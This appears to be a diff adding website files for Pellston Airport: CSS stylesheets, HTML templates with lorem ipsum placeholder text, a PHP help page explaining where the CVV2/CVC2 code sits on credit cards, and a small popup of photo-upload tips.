+<input TYPE="RESET" VALUE=" Reset "></td>
+</tr></table>
+</form>
--- /dev/null
+/* flight arrivals */
+div#flights { position: relative;
+}
+
+table#flight-arrivals, table#flight-departures {
+ font-size: 15px;
+ border: 2px solid #FFED81;
+ border-collapse: collapse;
+ width: 100%;}
+#flights h2 {
+ font-size: 20px;
+ margin: 1em 0 0.5em 0;
+ }
+table#flight-arrivals th,table#flight-departures th {background-color: #fffdef;padding: 3px 6px; }
+table#flight-arrivals td, table#flight-departures td {background-color: white;font-size: 14px;font-weight:normal; padding: 5px 10px; border: 2px solid #FFED81;}
+a:link {color: #7d3131;}
+a:visited {color: #7d3131;}
+a:hover {color: #000;}
+a:active {color: #7d3131;}
+#toolbox p.text { margin-top:20px;}
+body {
+ margin: 0;
+ padding: 0;
+ text-align: center;
+ font-size: 12px;
+ font-family: arial, helvetica, san-serif;
+ }
+#wrapper {
+ width: 760px;
+ text-align: left;
+ margin: 0 auto;
+ border-left: 1px solid #ccc;
+ border-right: 1px solid #ccc;
+ background: url(assets/bg.jpg) repeat;
+ }
+#top {
+ width: 760px;
+ height: 145px;
+ background-image: url(assets/top.jpg);
+ background-repeat: no-repeat;
+ }
+#top img { margin-left: 285px;
+padding-top: 10px;
+ display: block;
+ border: 0;
+ }
+#rim-top {
+ width: 100%;
+ height: 48px;
+ background: url(assets/rim-top.gif) repeat-x;
+ }
+#rim-bottom {
+ width: 100%;
+ height: 24px;
+ background: url(assets/rim-bottom.gif) repeat-x;
+ }
+#content {
+ width: 606px;
+ float: right;
+ position: relative;
+ }
+#nav {width: 151px;}
+#navcontainer {
+ border-right: 1px solid #000;
+ padding: 0px;
+ font-family: arial, sans-serif;
+ background-color: #000;
+ color: #333;
+}
+#navcontainer ul {
+ list-style: none;
+ margin: 0px;
+ padding: 0px;
+ border: none;
+}
+#navcontainer li {
+ border-bottom: 0px solid #000;
+ margin: 0;
+ border-top: 1px solid #000;
+
+}
+#navcontainer li a {
+ display: block;
+ padding: 4px 4px 4px 10px;
+ width: 136px;
+ background-color: #7d3131;
+ color: #ffed81;
+ text-decoration: none;
+ font-weight: bold;
+}
+#navcontainer li a:hover {
+ border-left-color: #1c64d1;
+ border-right-color: #5ba3e0;
+ background-color: #ffed81;
+ color: #7d3131;
+}
+#navcontainer li li {
+ border-top: 1px solid #000;
+ border-bottom: 0;
+ margin: 0;
+}
+#navcontainer li li a {
+ background-color: #7d3131;
+ padding: 4px 4px 4px 25px;
+ width: 121px;
+}
+#navcontainer li li li a {
+ background-color: #7D7D31;
+ background-color: #7d3131;
+ padding: 4px 4px 4px 40px;
+ width: 106px;
+}
+#logo-left {
+ display: block;
+ margin: 20px auto 10px auto;
+ }
+#address-left {
+ padding: 8px;
+ font-weight: bold;
+ text-align: center;
+ }
+/*toolbox*/
+#toolbox {padding: 20px;}
+h1 {margin: 0 0 0.5em 0; font-size: 24px; color: #858C9F; clear: left;}
+h2 {margin: 0 0 0.5em 0; font-size: 18px; color: #B7025F;}
+#toolbox p {margin: 0 0 1em 0;}
+.imageright img, .imageleft img {display: block;}
+.imageright {
+ float: right;
+ position: relative;
+ margin: 0 0 10px 10px;
+ }
+.imageleft {
+ float: left;
+ position: relative;
+ margin: 0 10px 10px 0;
+ }
+.imagecaption {
+ font-size: 11px;
+ background: #fef9e7;
+ padding: 3px;
+ border-left: 1px solid #ddd;
+ border-bottom: 1px solid #ddd;
+ border-right: 1px solid #ddd;
+ }
+
+#copyright {font-size: 11px; margin: 0 auto; padding: 1em 0;}
+#copyright a:link {color: #333;}
+#copyright a:visited {color: #333;}
+#copyright a:hover {color: #000;}
+#copyright a:active {color: #333;}
+
+.clearer {
+ height:1px;
+ overflow:hidden;
+ margin-top:-1px;
+ clear:both;
+}
+
+
+
+/* Image Upload Icons */
+.pdf, .txt, .doc, .ppt, .xls {
+ width:18px;
+ padding:0 13px 0 0;
+ background-repeat: no-repeat;
+ background-position: right;
+ }
+.pdf {background: url(images/file-ext/pdf.png);}
+.txt {background: url(images/file-ext/txt.png);}
+.doc {background: url(images/file-ext/doc.png);}
+.ppt {background: url(images/file-ext/ppt.png);}
+.xls {background: url(images/file-ext/xls.png);}
+.zip {background: url(images/file-ext/zip.png);}
+
+/* contant nav */
+#cat-list {}
+#cat-list a {
+ display: block;
+ float: left;
+ position: relative;
+ padding: 2px 4px;
+ margin: 2px 5px 2px 0;
+ background-color: #ffed81;
+ color: #7d3131;
+ border: 1px solid #7d3131;
+ text-decoration: none;
+ }
+#cat-list a:hover {
+ background-color: #7d3131;
+ color: #ffed81;
+ }
+
+/*images in business listings */
+p.text {padding-top: 12px;clear: left; padding-top: 0.5em; position: relative; display: inline;}
+.text img {margin: 5px 0 12px 10px; position: relative; }
+.details {clear: left; display: block;margin-top: 0.5em; font-weight: bold}
+hr {}
+.list-img {display: block; float: right; position: relative; margin: 0; display: inline;}
+h3 {margin: 0;}
--- /dev/null
+100090
\ No newline at end of file
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<style type="text/css">
+<!--
+body {
+ margin: 0;
+ padding: 0;
+ text-align: center;
+ font-size: 12px;
+ font-family: arial, helvetica, san-serif;
+ }
+#wrapper {
+ width: 760px;
+ text-align: left;
+ margin: 0 auto;
+ border-left: 1px solid #ccc;
+ border-right: 1px solid #ccc;
+ background: url(assets/bg.jpg) repeat;
+ }
+img#top {
+ display: block;
+ }
+#rim-top {
+ width: 100%;
+ height: 48px;
+ background: url(assets/rim-top.gif) repeat-x;
+ }
+#rim-bottom {
+ width: 100%;
+ height: 24px;
+ background: url(assets/rim-bottom.gif) repeat-x;
+ }
+#content {
+ width: 606px;
+ float: right;
+ position: relative;
+ }
+#nav {width: 151px;}
+#navcontainer {
+ border-right: 1px solid #000;
+ padding: 0px;
+ font-family: arial, sans-serif;
+ background-color: #000;
+ color: #333;
+}
+#navcontainer ul {
+ list-style: none;
+ margin: 0px;
+ padding: 0px;
+ border: none;
+}
+#navcontainer li {
+ border-bottom: 1px solid #000;
+ margin: 0;
+}
+#navcontainer li a {
+ display: block;
+ padding: 4px 4px 4px 10px;
+ width: 136px;
+ background-color: #7d3131;
+ color: #ffed81;
+ text-decoration: none;
+ font-weight: bold;
+}
+#navcontainer li a:hover {
+ border-left-color: #1c64d1;
+ border-right-color: #5ba3e0;
+ background-color: #ffed81;
+ color: #7d3131;
+}
+#navcontainer li li {
+ border-top: 1px solid #000;
+ border-bottom: 0;
+ margin: 0;
+}
+#navcontainer li li a {
+ background-color: #7d3131;
+ padding: 4px 4px 4px 25px;
+ width: 121px;
+}
+#navcontainer li li li a {
+ background-color: #7D7D31;
+ background-color: #7d3131;
+ padding: 4px 4px 4px 40px;
+ width: 106px;
+}
+/*toolbox*/
+#toolbox {padding: 20px;}
+h1 {margin: 0 0 0.5em 0; font-size: 24px;}
+h2 {margin: 0 0 0.5em 0; font-size: 18px;}
+#toolbox p {margin: 0 0 1em 0;}
+.imageright img, .imageleft img {display: block;}
+.imageright {
+ float: right;
+ position: relative;
+ margin: 0 0 10px 10px;
+ }
+.imageleft {
+ float: left;
+ position: relative;
+ margin: 0 10px 10px 0;
+ }
+.imagecaption {
+ font-size: 11px;
+ background: #fef9e7;
+ padding: 3px;
+ border-left: 1px solid #ddd;
+ border-bottom: 1px solid #ddd;
+ border-right: 1px solid #ddd;
+ }
+
+#copyright {font-size: 11px; margin: 0 auto; padding: 1em 0;}
+#copyright a:link {color: #333;}
+#copyright a:visited {color: #333;}
+#copyright a:hover {color: #000;}
+#copyright a:active {color: #333;}
+
+.clearer {
+ height:1px;
+ overflow:hidden;
+ margin-top:-1px;
+ clear:both;
+}
+-->
+</style>
+</head>
+<body>
+<div id="wrapper">
+ <img src="assets/top.jpg" width="760" height="137" alt="top (30K)" id="top">
+ <div id="rim-top"></div>
+ <div id="content">
+ <div id="toolbox">
+ <div id="category">
+ <h1>Welcome to Pellston Airport</h1>
+ <div class="imageright">
+ <img src="assets/temp-category.jpg" width="250" height="163" alt="">
+ <div class="imagecaption">Our new airport building completed 2003</div>
+ </div>
+ <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. </p>
+ <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+ </div><!-- /#category -->
+ <div class="listing">
+ <h2>Paragraph header</h2>
+ <div class="imageleft">
+ <img src="assets/temp-listing.jpg" width="250" height="163" alt="">
+ <div class="imagecaption">Our new airport building completed 2003</div>
+ </div>
+ <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. </p>
+ <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+ </div>
+ </div><!-- /#toolbox -->
+ </div>
+ <div id="nav">
+ <div id="navcontainer">
+ <ul id="navlist">
+ <li class="active"><a href="#">Home</a></li>
+ <li><a href="#">About Us</a>
+ <ul>
+ <li><a href="#">General Services</a></li>
+ <li class="active"><a href="#">Commercial Airline Service</a>
+ <ul>
+ <li><a href="#" id="current">Subitem one</a></li>
+ <li><a href="#">Subitem two</a></li>
+ <li><a href="#">Subitem three</a></li>
+ <li><a href="#">Subitem four</a></li>
+ </ul>
+ </li>
+ <li><a href="#">Commercial Airline Service</a></li>
+ </ul>
+ </li>
+ <li><a href="#">Weather</a></li>
+ <li><a href="#">Rental Car Services</a></li>
+ <li><a href="#">Airport Maps</a></li>
+ <li><a href="#">County Map</a></li>
+ <li><a href="#">Ground Transportation</a></li>
+ <li><a href="#">Area Lodging</a></li>
+ <li><a href="#">Dining</a></li>
+ <li><a href="#">Attractions</a></li>
+ </ul>
+ </div>
+ </div>
+ <div class="clearer"></div>
+ <div id="rim-bottom"></div>
+</div>
+<div id="copyright">
+ Copyright©2006 Pellston Airport, All Rights Reserved. Produced by <a href="http://www.gaslightmedia.com">Gaslight Media</a>
+</div>
+</body>
+</html>
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<style type="text/css">
+<!--
+body {
+ margin: 0;
+ padding: 0;
+ text-align: center;
+ font-size: 12px;
+ font-family: arial, helvetica, san-serif;
+ }
+#wrapper {
+ width: 760px;
+ text-align: left;
+ margin: 0 auto;
+ border-left: 1px solid #ccc;
+ border-right: 1px solid #ccc;
+ background: url(assets/bg.jpg) repeat;
+ }
+img#top {
+ display: block;
+ }
+#rim-top {
+ width: 100%;
+ height: 48px;
+ background: url(assets/rim-top.gif) repeat-x;
+ }
+#rim-bottom {
+ width: 100%;
+ height: 24px;
+ background: url(assets/rim-bottom.gif) repeat-x;
+ }
+#content {
+ width: 606px;
+ float: right;
+ position: relative;
+ }
+#nav {width: 151px;}
+#navcontainer {
+ border-right: 1px solid #000;
+ padding: 0px;
+ font-family: arial, sans-serif;
+ background-color: #000;
+ color: #333;
+}
+#navcontainer ul {
+ list-style: none;
+ margin: 0px;
+ padding: 0px;
+ border: none;
+}
+#navcontainer li {
+ border-bottom: 1px solid #000;
+ margin: 0;
+}
+#navcontainer li a {
+ display: block;
+ padding: 4px 4px 4px 10px;
+ width: 136px;
+ background-color: #7d3131;
+ color: #ffed81;
+ text-decoration: none;
+ font-weight: bold;
+}
+#navcontainer li a:hover {
+ border-left-color: #1c64d1;
+ border-right-color: #5ba3e0;
+ background-color: #ffed81;
+ color: #7d3131;
+}
+#navcontainer li li {
+ border-top: 1px solid #000;
+ border-bottom: 0;
+ margin: 0;
+}
+#navcontainer li li a {
+ background-color: #7d3131;
+ padding: 4px 4px 4px 25px;
+ width: 121px;
+}
+#navcontainer li li li a {
+ background-color: #7D7D31;
+ background-color: #7d3131;
+ padding: 4px 4px 4px 40px;
+ width: 106px;
+}
+/*toolbox*/
+#toolbox {padding: 20px;}
+h1 {margin: 0 0 0.5em 0; font-size: 24px;}
+h2 {margin: 0 0 0.5em 0; font-size: 18px;}
+#toolbox p {margin: 0 0 1em 0;}
+.imageright img, .imageleft img {display: block;}
+.imageright {
+ float: right;
+ position: relative;
+ margin: 0 0 10px 10px;
+ }
+.imageleft {
+ float: left;
+ position: relative;
+ margin: 0 10px 10px 0;
+ }
+.imagecaption {
+ font-size: 11px;
+ background: #fef9e7;
+ padding: 3px;
+ border-left: 1px solid #ddd;
+ border-bottom: 1px solid #ddd;
+ border-right: 1px solid #ddd;
+ }
+
+#copyright {font-size: 11px; margin: 0 auto; padding: 1em 0;}
+#copyright a:link {color: #333;}
+#copyright a:visited {color: #333;}
+#copyright a:hover {color: #000;}
+#copyright a:active {color: #333;}
+
+.clearer {
+ height:1px;
+ overflow:hidden;
+ margin-top:-1px;
+ clear:both;
+}
+-->
+</style>
+</head>
+<body>
+<div id="wrapper">
+ <img src="assets/top2.jpg" width="760" height="103" alt="top (30K)" id="top">
+ <div id="rim-top"></div>
+ <div id="content">
+ <div id="toolbox">
+ <div id="category">
+ <h1>Welcome to Pellston Airport</h1>
+ <div class="imageright">
+ <img src="assets/temp-category.jpg" width="250" height="163" alt="">
+ <div class="imagecaption">Our new airport building completed 2003</div>
+ </div>
+ <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. </p>
+ <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+ </div><!-- /#category -->
+ <div class="listing">
+ <h2>Paragraph header</h2>
+ <div class="imageleft">
+ <img src="assets/temp-listing.jpg" width="250" height="163" alt="">
+ <div class="imagecaption">Our new airport building completed 2003</div>
+ </div>
+ <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. </p>
+ <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+ </div>
+ </div><!-- /#toolbox -->
+ </div>
+ <div id="nav">
+ <div id="navcontainer">
+ <ul id="navlist">
+ <li class="active"><a href="#">Home</a></li>
+ <li><a href="#">About Us</a>
+ <ul>
+ <li><a href="#">General Services</a></li>
+ <li class="active"><a href="#">Commercial Airline Service</a>
+ <ul>
+ <li><a href="#" id="current">Subitem one</a></li>
+ <li><a href="#">Subitem two</a></li>
+ <li><a href="#">Subitem three</a></li>
+ <li><a href="#">Subitem four</a></li>
+ </ul>
+ </li>
+ <li><a href="#">Commercial Airline Service</a></li>
+ </ul>
+ </li>
+ <li><a href="#">Weather</a></li>
+ <li><a href="#">Rental Car Services</a></li>
+ <li><a href="#">Airport Maps</a></li>
+ <li><a href="#">County Map</a></li>
+ <li><a href="#">Ground Transportation</a></li>
+ <li><a href="#">Area Lodging</a></li>
+ <li><a href="#">Dining</a></li>
+ <li><a href="#">Attractions</a></li>
+ </ul>
+ </div>
+ </div>
+ <div class="clearer"></div>
+ <div id="rim-bottom"></div>
+</div>
+<div id="copyright">
+ Copyright©2006 Pellston Airport, All Rights Reserved. Produced by <a href="http://www.gaslightmedia.com">Gaslight Media</a>
+</div>
+</body>
+</html>
--- /dev/null
+<?php
+include('../setup.phtml');
+?>
+<HTML>
+<HEAD><TITLE>CVV2 / CVC2 Credit Cards Security Codes</TITLE>
+
+<style type="text/css">
+body, td, p, ul, BLOCKQUOTE {
+ font-family: Verdana, Tahoma, Geneva, Arial, Helvetica, sans-serif;
+ font-size: x-small;
+ fontsize: small;
+ /* font-size: xx-small;
+ fontsize: x-small;
+ */
+ color: #000000;
+}
+
+
+P {
+ text-align: justify;
+}
+
+
+a {text-decoration : underline; color: #0028D8;}
+a:visited {color: #9C00B3;}
+a:hover {text-decoration : underline; color: #000000;}
+a:active {text-decoration : underline; color: #0028D8;}
+
+/* #B98EFF */
+
+.pagetitle {
+ font-size: small;
+ fontsize: medium;
+ font-weight:bold;
+}
+</style>
+<script language="javascript" type="text/javascript">
+var pic = null
+var popImg = null // use this when referring to pop-up image
+var picTitle = null
+var imgCount = 0
+var imgWinName = "popImg"
+
+function openPopImg(picName, windowTitle, windowWidth, windowHeight){
+ closePopImg()
+ picTitle = windowTitle
+ imgWinName = "popImg" + imgCount++ //unique name for each pop-up window
+ popImg = window.open(picName, imgWinName,
+ "toolbar=no,scrollbars=no,resizable=no,width="
+ + (parseInt(windowWidth)+20) + ",height="
+ + (parseInt(windowHeight)+15))
+ }
+function closePopImg(){ // close pop-up window if it is open
+ if (navigator.appName != "Microsoft Internet Explorer"
+ || parseInt(navigator.appVersion) >=4) //do not close if early IE
+ if(popImg != null) if(!popImg.closed) popImg.close()
+ }
+function setStatus(){
+ status = 'Click for larger image'
+ return true
+ }
+
+</script>
+</HEAD>
+<BODY bgColor="White" text="Black" link="Blue" aLink="#0028D8" vLink="#9C00B3" leftMargin=0 topMargin=0 marginheight=0 marginwidth=0 onUnload="closePopImg();" >
+
+ <TABLE bgColor="#ffffff" border=1 align=left cellPadding=10 cellSpacing=0 width=460 >
+ <tr>
+ <td valign="top" class="body">
+
+ <FONT class=pagetitle size=3><b>CVV2 / CVC2 Credit Cards Security Codes</b></FONT><br>
+ <!--<a href="http://housesearch.ch/e/faq/cvv2.html">http://housesearch.ch/e/faq/cvv2.html</a> -->
+ <P><IMG align=right alt="" border=0 height=155 src="<?php echo BASE_URL;?>images/card_CVV2.gif" width=212> In order to process payments with Visa and Mastercard credit cards, we now
+need an additional element : the CVV2 or CVC2 security code. This 3 digit code
+is found on the back of your credit card.</P>
+
+<P><B>What is CVV2 or CVC2 and why do you need them?</B><BR>The CVV2/CVC2 is a three-digit security code that is
+printed on the back of credit cards. This code is used to establish that you are
+in posession of the card used for the payment. All MasterCard cards, both credit
+and debit, were required to contain CVC2 by January 1, 1997. Visa cards must
+have a CVV2 by January 1, 2001. </P>
+
+<P><B>Where is CVV2 located on my card?</B><BR>The CVV2 three-digit value is printed just above the signature panel in
+reverse italics on the back of your card. Usually it is preceded by your card number. Click for illustrations showing
+the location of this code on a
+
+<A href="javascript:openPopImg('<?php echo BASE_URL;?>images/cvc2.jpg', 'Location of CVC2 code on a Mastercard', '420', '160')">Mastercard</a>
+and on a <A href="javascript:openPopImg('<?php echo BASE_URL;?>images/cvv2.jpg', 'Location of CVC2 code on a Visa', '420', '160')">Visa</a>. </P><P><STRONG>I found a number on the back of my card, but it has more than 3
+digits</STRONG><BR>We only need the last 3 digits of this number (the other are just a repetition of your credit card number).</P></td></TR></table>
+
+</td></TR></TABLE></BODY></HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Pellston Airport</TITLE>
+<link rel="stylesheet" href="../styles.css" type="text/css">
+</HEAD>
+ <body>
+ <table width="100%">
+ <tr>
+<td style="width:200px;background-color:#F9E38F;padding:5 5 5 5;border:ridge #96ADC4;">
+<ul>
+<li>Upgrade your web browser. Upgrades are available at no charge from Netscape's or Microsoft's homepages.</li>
+<li> Send your photos via regular mail. </li>
+</ul>
+<br>
+<a href="#" onClick="window.close();">Close</a>
+</td>
+</tr>
+</table>
+ </body>
+</html>